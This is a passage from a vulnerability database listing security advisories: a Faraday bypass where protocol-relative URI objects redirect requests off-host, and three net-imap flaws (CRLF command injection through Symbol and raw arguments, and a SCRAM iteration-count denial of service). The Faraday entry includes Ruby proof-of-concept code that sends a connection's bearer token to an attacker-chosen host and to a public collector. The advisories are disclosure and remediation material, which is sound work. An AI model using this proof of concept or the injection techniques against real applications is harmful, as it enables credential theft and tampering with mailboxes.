"details": "## Summary\n\n`Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`.\n\n## Affected Component\n\n- **Repository File(s)/Endpoint(s)**:\n - `lib/faraday/connection.rb`\n - `lib/faraday/request.rb`\n - `spec/faraday/connection_spec.rb`\n - `spec/faraday/request_spec.rb`\n- **Function(s)**:\n - `Faraday::Connection#build_exclusive_url`\n - `Faraday::Connection#run_request`\n - `Faraday::Request#url`\n - `Faraday::Request#to_env`\n- **Version(s) Tested**:\n - `Faraday 2.14.1`\n - repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n\n## Attacker Profile\n\n- **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection\n- **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)`\n- **Capability**: Control over a protocol-relative URI such as `URI(\"//evil.example/pwn\")`\n\n## Steps to Reproduce\n\n1. Use the current repository checkout and load Faraday from `lib/`.\n2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`.\n3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.\n4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request.\n\n### Verification Evidence\n\n- **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n- **Commands executed**:\n\n```bash\n$ ruby -e \u0027require \"webrick\"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: \"127.0.0.1\", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc(\"/\") { |req, res| res.status = 200; res.body = \"host=#{req.host}\\nauth=#{req[\"Authorization\"]}\\npath=#{req.path}\\n\" }; trap(\"INT\") { server.shutdown }; server.start\u0027\n$ ruby -Ilib -e \u0027require \"faraday\"; require \"faraday/net_http\"; conn = Faraday.new(url: \"http://trusted.example/base\", headers: {\"Authorization\" =\u003e \"Bearer secret-token\"}) { |f| f.adapter :net_http }; target = [\"//127.0.0.1:4567\", \"/pwn\"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body\u0027\n```\n- **PoC code** (inline):\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(url: \"http://trusted.example/base\", headers: {\n \"Authorization\" =\u003e \"Bearer secret-token\"\n}) { |f| f.adapter :net_http }\n\ntarget = [\"//127.0.0.1:4567\", \"/pwn\"].join\nresp = conn.get(URI(target))\n\nputs resp.status\nputs resp.body\n```\n- **Exit code**: `0`\n- **stdout** (relevant excerpt):\n\n```text\n200\nhost=127.0.0.1\nauth=Bearer secret-token\npath=/pwn\n```\n- **stderr** (relevant excerpt):\n\n```text\nN/A\n```\n- **Artifacts**: none\n\n### Additional External Confirmation\n\nThe issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter:\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(\n url: \"http://trusted.example/base\",\n headers: { \"Authorization\" =\u003e \"Bearer secret-token\" }\n) { |f| f.adapter :net_http }\n\ntarget = [\"//webhook.site\", \"/\u003ccollector-id\u003e\"].join\nresp = conn.get(URI(target))\nresp.status\n# =\u003e 200\nresp.url.host\n# =\u003e \"webhook.site\"\n```\n\nThis external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.\n\n## Supporting Materials\n\n- Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2`\n- Existing CVE for the original string-based issue: `CVE-2026-25765`\n- Existing regression tests for the string-only fix:\n - `spec/faraday/connection_spec.rb:314-345`\n- Existing test proving supported `URI` request input:\n - `spec/faraday/request_spec.rb:26-31`\n\n## Impact\n\nThe direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the\nconnection carries default headers or query parameters, those values are forwarded to the attacker-selected host.",
"id": "GHSA-5rv5-xj5j-3484",
"modified": "2026-06-05T14:12:03Z",
"published": "2026-05-18T14:51:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33637"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-33mh-2634-fwr2"
},
{
"type": "PACKAGE",
"url": "https://github.com/lostisland/faraday"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-33637.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping"
}
GHSA-75XQ-5H9V-W6PX
Vulnerability from github – Published: 2026-05-04 22:04 – Updated: 2026-07-21 15:03
VLAI
Summary
net-imap vulnerable to command Injection via unvalidated Symbol inputs
Details
Summary
Symbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command injection via Symbol arguments passed to IMAP commands.
Details
Symbol arguments represent IMAP "system flags", which are formatted as "atoms" (with no quoting) with a "\" prefix. Vulnerable versions of Net::IMAP sends the symbol name directly to the socket, with no validation.
Because the Symbol input is unvalidated, it could contain invalid flag characters, including SP and CRLF, which could be used to finish the current command and inject new commands.
Although IMAP flag arguments are only valid input for a few IMAP commands, most Net::IMAP commands use generic argument handling, and will allow Symbol (flag) inputs.
Note also that the list of valid symbol inputs should be restricted to an enumerated set of standard RFC defined flag types, which have each been given specific defined semantics. Any user-provided values outside of that list of standard "system flags" needs to use the IMAP keyword syntax, which are sent as atoms, i.e: string inputs. Under no circumstances should #to_sym ever be called on unvetted user-provided input: that will always be a bug in the calling code for the simple reason that user_input_atom is as \user_input_atom.
For forward compatibility with future IMAP extentions, Net::IMAP, does not restrict flag inputs to an enumerated list. That is the responsibility of the calling application code, which knows which flag semantics are valid for its context.
Impact
If a developer passes user-controlled input as a Symbol to most Net::IMAP commands, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox).
Mitigation
- Upgrade to a version of Net::IMAP that validates Symbols are valid as an IMAP
flag. - User-provided input should never be able to control calling
#to_symon string arguments.
For example, do not unsafely serialize and deserialize command arguments (e.g. with YAML or Marshal) in a way that could create unvetted Symbol arguments.
* For the few IMAP commands which do allow flag arguments, it may be appropriate to hard-code Symbol arguments or restrict them to an enumerated list which is valid for the calling application.
Severity
5.3 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.3"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.13"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.23"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42258"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T22:04:08Z",
"nvd_published_at": "2026-05-09T20:16:28Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nSymbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command injection via Symbol arguments passed to IMAP commands.\n\n### Details\n\nSymbol arguments represent IMAP \"system flags\", which are formatted as \"atoms\" (with no quoting) with a `\"\\\"` prefix. Vulnerable versions of Net::IMAP sends the symbol name directly to the socket, with no validation.\n\nBecause the Symbol input is unvalidated, it could contain invalid `flag` characters, including `SP` and `CRLF`, which could be used to finish the current command and inject new commands.\n\nAlthough IMAP `flag` arguments are only valid input for a few IMAP commands, most Net::IMAP commands use generic argument handling, and will allow Symbol (`flag`) inputs.\n\nNote also that the list of valid symbol inputs should be restricted to an enumerated set of standard RFC defined flag types, which have each been given specific defined semantics. Any user-provided values outside of that list of standard \"system flags\" needs to use the IMAP `keyword` syntax, which are sent as atoms, i.e: string inputs. Under no circumstances should `#to_sym` ever be called on unvetted user-provided input: that will always be a bug in the calling code for the simple reason that `user_input_atom` is as `\\user_input_atom`.\n\nFor forward compatibility with future IMAP extentions, Net::IMAP, does not restrict flag inputs to an enumerated list. That is the responsibility of the calling application code, which knows which flag semantics are valid for its context.\n\n### Impact\n\nIf a developer passes user-controlled input as a Symbol to most Net::IMAP commands, an attacker can append CRLF sequence followed by a new IMAP command (like `DELETE mailbox`).\n\n### Mitigation\n* Upgrade to a version of Net::IMAP that validates Symbols are valid as an IMAP `flag`.\n* User-provided input should never be able to control calling `#to_sym` on string arguments.\n\n For example, do not unsafely serialize and deserialize command arguments (e.g. with YAML or Marshal) in a way that could create unvetted Symbol arguments.\n* For the few IMAP commands which do allow `flag` arguments, it may be appropriate to hard-code Symbol arguments or restrict them to an enumerated list which is valid for the calling application.",
"id": "GHSA-75xq-5h9v-w6px",
"modified": "2026-07-21T15:03:35Z",
"published": "2026-05-04T22:04:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-75xq-5h9v-w6px"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42258"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/aec06996eb87a7e1bbcef1f9f8926e8add2b8c71"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/9db3e9d60bfb8f3735ea95015bf8a700f4af9cbb"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/6bf02aef7e0b5931010c36e377f79a71636b306b"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33462"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36978"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37238"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37397"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-42258"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2468498"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-42258.yml"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42258.json"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33512"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33514"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33515"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33540"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33565"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33576"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33577"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33630"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33721"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34076"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35447"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35834"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35866"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35867"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35895"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36099"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "net-imap vulnerable to command Injection via unvalidated Symbol inputs"
}
GHSA-87PF-FPWV-P7M7
Vulnerability from github – Published: 2026-05-04 22:03 – Updated: 2026-05-14 20:48
VLAI
Summary
net-imap vulnerable to denial of service via high iteration count for `SCRAM-*` authentication
Details
Summary
When authenticating a connection with SCRAM-SHA1 or SCRAM-SHA256, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value.
Details
A hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in the SCRAM server-first-message, causing the client to perform an expensive OpenSSL::KDF.pbkdf2_hmac call. Because the PBKDF2 function is a blocking C extension and holds onto Ruby’s Global VM Lock, it can freeze the entire Ruby VM for the duration of the computation.
OpenSSL enforces an effective maximum by using a 32-bit signed integer for the iteration count, Depending on hardware capabilities and OpenSSL version, this iteration count may be sufficient for to block all Ruby threads in the process for over seven minutes.
This is listed as one of the "Security Considerations", in RFC 7804:
A hostile server can perform a computational denial-of-service attack on clients by sending a big iteration count value. In order to defend against that, a client implementation can pick a maximum iteration count that it is willing to use and reject any values that exceed that threshold (in such cases, the client, of course, has to fail the authentication).
Impact
During SCRAM authentication to a hostile server, the entire Ruby VM will be locked for the duration of the computation. Depending on hardware capabilities and OpenSSL version, this may take many minutes.
OpenSSL::KDF.pbkdf2_hmac is a blocking C function, so Timeout cannot be used to guard against this. And it retains the Global VM lock, so other ruby threads will also be unable to run.
Mitigation
- Upgrade to a patched version of
net-imapthat adds themax_iterationsoption to theSASL-*authenticators, and callNet::IMAP#authenticatewith amax_iterationskeyword argument.
NOTE: The default max_iterations is 2³¹ - 1, the maximum signed 32 bit integer, the maximum allowed by OpenSSL.
To prevent a denial of service attack, this must be set to a safe value, depending on hardware and version of OpenSSL.
It is the user's responsibility to enforce minimum and maximum iteration counts that are appropriate for their security context.
* Alternatively, avoid SCRAM-* mechanisms when authenticating to untrusted servers.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.3"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.13"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.23"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.4.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42256"
],
"database_specific": {
"cwe_ids": [
"CWE-1322",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T22:03:28Z",
"nvd_published_at": "2026-05-09T20:16:28Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen authenticating a connection with `SCRAM-SHA1` or `SCRAM-SHA256`, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value.\n\n### Details\n\nA hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in the SCRAM server-first-message, causing the client to perform an expensive `OpenSSL::KDF.pbkdf2_hmac` call. Because the PBKDF2 function is a blocking C extension and holds onto Ruby\u2019s Global VM Lock, it can freeze the entire Ruby VM for the duration of the computation.\n\nOpenSSL enforces an effective maximum by using a 32-bit signed integer for the iteration count, Depending on hardware capabilities and OpenSSL version, this iteration count may be sufficient for to block all Ruby threads in the process for over seven minutes.\n\nThis is listed as one of the \"Security Considerations\", in [RFC 7804](https://www.rfc-editor.org/rfc/rfc7804.html#page-15):\n\u003e A hostile server can perform a computational denial-of-service attack on clients by sending a big iteration count value. In order to defend against that, a client implementation can pick a maximum iteration count that it is willing to use and reject any values that exceed that threshold (in such cases, the client, of course, has to fail the authentication).\n\n### Impact\n\nDuring SCRAM authentication to a hostile server, the entire Ruby VM will be locked for the duration of the computation. Depending on hardware capabilities and OpenSSL version, this may take many minutes.\n\n`OpenSSL::KDF.pbkdf2_hmac` is a blocking C function, so `Timeout` cannot be used to guard against this. And it retains the Global VM lock, so other ruby threads will also be unable to run.\n\n### Mitigation\n\n* Upgrade to a patched version of `net-imap` that adds the `max_iterations` option to the `SASL-*` authenticators, and call `Net::IMAP#authenticate` with a `max_iterations` keyword argument. \n\n **NOTE:** The default `max_iterations` is `2\u00b3\u00b9 - 1`, the maximum signed 32 bit integer, the maximum allowed by OpenSSL.\n _To prevent a denial of service attack,_ this must be set to a safe value, depending on hardware and version of OpenSSL.\n _It is the user\u0027s responsibility_ to enforce minimum and maximum iteration counts that are appropriate for their security context.\n* Alternatively, avoid `SCRAM-*` mechanisms when authenticating to untrusted servers.",
"id": "GHSA-87pf-fpwv-p7m7",
"modified": "2026-05-14T20:48:25Z",
"published": "2026-05-04T22:03:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-87pf-fpwv-p7m7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42256"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/158d0b505074397cdb5ceb58935e42dd2bcfa612"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/808001bc45c06f7297a7e96d341279e041a7f7f4"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/99f59eab6064955a23debd95410263ad144df758"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-42256.yml"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc7804.html#page-15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "net-imap vulnerable to denial of service via high iteration count for `SCRAM-*` authentication"
}
GHSA-HM49-WCQC-G2XG
Vulnerability from github – Published: 2026-05-04 22:04 – Updated: 2026-06-17 19:45
VLAI
Summary
net-imap vulnerable to command Injection via "raw" arguments to multiple commands
Details
Summary
Several Net::IMAP commands accept a raw string argument that is sent to the server without validation or escaping. If this string is derived from user-controlled input, it may contain contain CRLF sequences, which an attacker can use to inject arbitrary IMAP commands.
Details
Net::IMAP's generic argument handling, used by most command arguments, interprets string arguments as an IMAP astring. Depending on the string contents and the connection's UTF-8 support, this encodes strings as either a atom, quoted, or literal. These are safe from command or argument injection.
But the following commands transform specific String arguments to Net::IMAP::RawData, which bypasses normal argument validation and encoding and prints the string directly to the socket:
* #uid_search, #search, #uid_sort, #sort, #uid_thread, #thread
* when criteria is a String, it is sent raw
* #uid_fetch, #fetch
* whenattris a String, it is sent raw
* whenattris an Array, each String inattris sent raw
*#uid_store,#store* whenattris a String, it is sent raw
*#setquota:
*limitis interpolated with#to_s` and that string is sent raw
Because these string arguments are sent without any neutralization, they serve as a direct vector for command splitting. Any user controlled data interpolated into these strings can be used to break out of the intended command context.
Using \"raw data\" arguments for #uid_store, #store, and #setquota I both inappropriate and unnecessary. Net::IMAP's generic argument handling is sufficient to safely validate and encode their arguments. Users of the library probably do not expect arguments to these commands to be sent raw and might not be wary of passing unvalidated input.
The API for search criteria and fetch attributes is intentionally low-level and \"close to the wire\". It allows developers to use some IMAP extensions without requiring explicit support from the library and allows developers to use complex IMAP grammar without complex argument translation. Even so, basic validation is appropriate and could neutralize command injection.
Although this was explicitly documented for search criteria, it was insufficiently documented for fetch attr. So developers may not have realized that the attr argument to #fetch and #uid_fetch is sent as \"raw data\".
Impact
If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.
The SEARCH, STORE, and FETCH commands, and their UID variants are some of the most commonly used features of the library. Applications that build search queries or fetch attributes dynamically based on user input (e.g., mail clients or archival tools) may be at significant risk.
The SORT and THREAD commands and their UID variants also handle their search criteria argument similarly to SEARCH and are subject to the same risk.
Expected use of Net::IMAP#setquota is much more limited: SETQUOTA is often only usable by users with special administrative privileges. Depending on the server, quota administration might be managed through server configuration rather than via the IMAP protocol SETQUOTA command. It is expected to be uncommonly used in system administration scripts or in interactive sessions, it should be completely controlled by trusted users, and should only use trusted inputs. Calling #setquota with untrusted user input is expected to be a very uncommon use case. Please note however this might be combined with other attacks, for example CSRF, which provide unauthorized access to trusted inputs, and may specifically target users or scripts with administrator privileges.
Mitigation
- Update to a patched version of
net-imapwhich: - validates that
Net::IMAP::RawDatais composed of well-formed IMAPtext,literal, andliteral8values, with no unescapedNULL,CR, orLFbytes. - does not use
Net::IMAP::RawDatafor#store,#uid_store, or#setquota. - Prefer to send search criteria as an array of key value pairs. Avoid sending it as an interpolated string.
- If an immediate upgrade is not possible:
- String inputs to search criteria and fetch attributes can be validated against command injection by checking for
\rand\ncharacters. - Hard-coding the store
attrargument is often appropriate. Alternatively, user controlled inputs can be restricted to a small enumerated list which is valid for the calling application. - Use
Kernel#Integerto coerce and validate user controlled inputs to#setquotalimit.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.3"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.13"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.23"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42257"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T22:04:41Z",
"nvd_published_at": "2026-05-09T20:16:28Z",
"severity": "MODERATE"
},
"details": "### Summary\nSeveral `Net::IMAP` commands accept a raw string argument that is sent to the server without validation or escaping. If this string is derived from user-controlled input, it may contain contain `CRLF` sequences, which an attacker can use to inject arbitrary IMAP commands.\n\n### Details\n\n`Net::IMAP`\u0027s generic argument handling, used by most command arguments, interprets string arguments as an IMAP `astring`. Depending on the string contents and the connection\u0027s UTF-8 support, this encodes strings as either a `atom`, `quoted`, or `literal`. These are safe from command or argument injection.\n\nBut the following commands transform specific String arguments to `Net::IMAP::RawData`, which bypasses normal argument validation and encoding and prints the string directly to the socket:\n* `#uid_search`, `#search`, `#uid_sort`, `#sort`, `#uid_thread`, `#thread`\n * when `criteria` is a String, it is sent raw\n* `#uid_fetch`, `#fetch\n * when `attr` is a String, it is sent raw\n * when `attr` is an Array, each String in `attr` is sent raw\n* `#uid_store`, `#store`\n * when `attr` is a String, it is sent raw\n* `#setquota`:\n * `limit` is interpolated with `#to_s` and that string is sent raw\n\nBecause these string arguments are sent without any neutralization, they serve as a direct vector for command splitting. Any user controlled data interpolated into these strings can be used to break out of the intended command context.\n\nUsing \\\"raw data\\\" arguments for `#uid_store`, `#store`, and `#setquota` I both inappropriate and unnecessary. `Net::IMAP`\u0027s generic argument handling is sufficient to safely validate and encode their arguments. Users of the library probably do not expect arguments to these commands to be sent raw and might not be wary of passing unvalidated input.\n\nThe API for search criteria and fetch attributes is intentionally low-level and \\\"close to the wire\\\". It allows developers to use some IMAP extensions without requiring explicit support from the library and allows developers to use complex IMAP grammar without complex argument translation. Even so, basic validation is appropriate and could neutralize command injection.\n\nAlthough this was explicitly documented for search `criteria`, it was insufficiently documented for fetch `attr`. So developers may not have realized that the `attr` argument to `#fetch` and `#uid_fetch` is sent as \\\"raw data\\\".\n\n### Impact\n\nIf a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not _directly_ enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system\u0027s attributes, e.g.: shared mail folders or the application\u0027s installed response handlers.\n\nThe SEARCH, STORE, and FETCH commands, and their UID variants are some of the most commonly used features of the library. Applications that build search queries or fetch attributes dynamically based on user input (e.g., mail clients or archival tools) may be at significant risk.\n\nThe SORT and THREAD commands and their UID variants also handle their search criteria argument similarly to SEARCH and are subject to the same risk.\n\nExpected use of `Net::IMAP#setquota` is much more limited: `SETQUOTA` is often only usable by users with special administrative privileges. Depending on the server, quota administration might be managed through server configuration rather than via the IMAP protocol `SETQUOTA` command. It is expected to be uncommonly used in system administration scripts or in interactive sessions, it should be completely controlled by trusted users, and should only use trusted inputs. Calling `#setquota` with untrusted user input is expected to be a very uncommon use case. Please note however this might be combined with other attacks, for example CSRF, which provide unauthorized access to trusted inputs, and may specifically target users or scripts with administrator privileges.\n\n### Mitigation\n - Update to a patched version of `net-imap` which:\n - validates that `Net::IMAP::RawData` is composed of well-formed IMAP `text`, `literal`, and `literal8` values, with no unescaped `NULL`, `CR`, or `LF` bytes.\n - does not use `Net::IMAP::RawData` for `#store`, `#uid_store`, or `#setquota`.\n - Prefer to send search criteria as an array of key value pairs. Avoid sending it as an interpolated string.\n - If an immediate upgrade is not possible:\n - String inputs to search criteria and fetch attributes can be validated against command injection by checking for `\\r` and `\\n` characters.\n - Hard-coding the store `attr` argument is often appropriate. Alternatively, user controlled inputs can be restricted to a small enumerated list which is valid for the calling application.\n - Use `Kernel#Integer` to coerce and validate user controlled inputs to `#setquota` limit.",
"id": "GHSA-hm49-wcqc-g2xg",
"modified": "2026-06-17T19:45:30Z",
"published": "2026-05-04T22:04:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-hm49-wcqc-g2xg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42257"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/0ec4fd351263e8b9a4f683713427827b7b1ad974"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/47c72186d272441878ca73c9499f66013829ca2f"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/6bf02aef7e0b5931010c36e377f79a71636b306b"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/a4f7649c3da77dec7631f03a037a478eb4330048"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/aec06996eb87a7e1bbcef1f9f8926e8add2b8c71"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-42257.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "net-imap vulnerable to command Injection via \"raw\" arguments to multiple commands"
}
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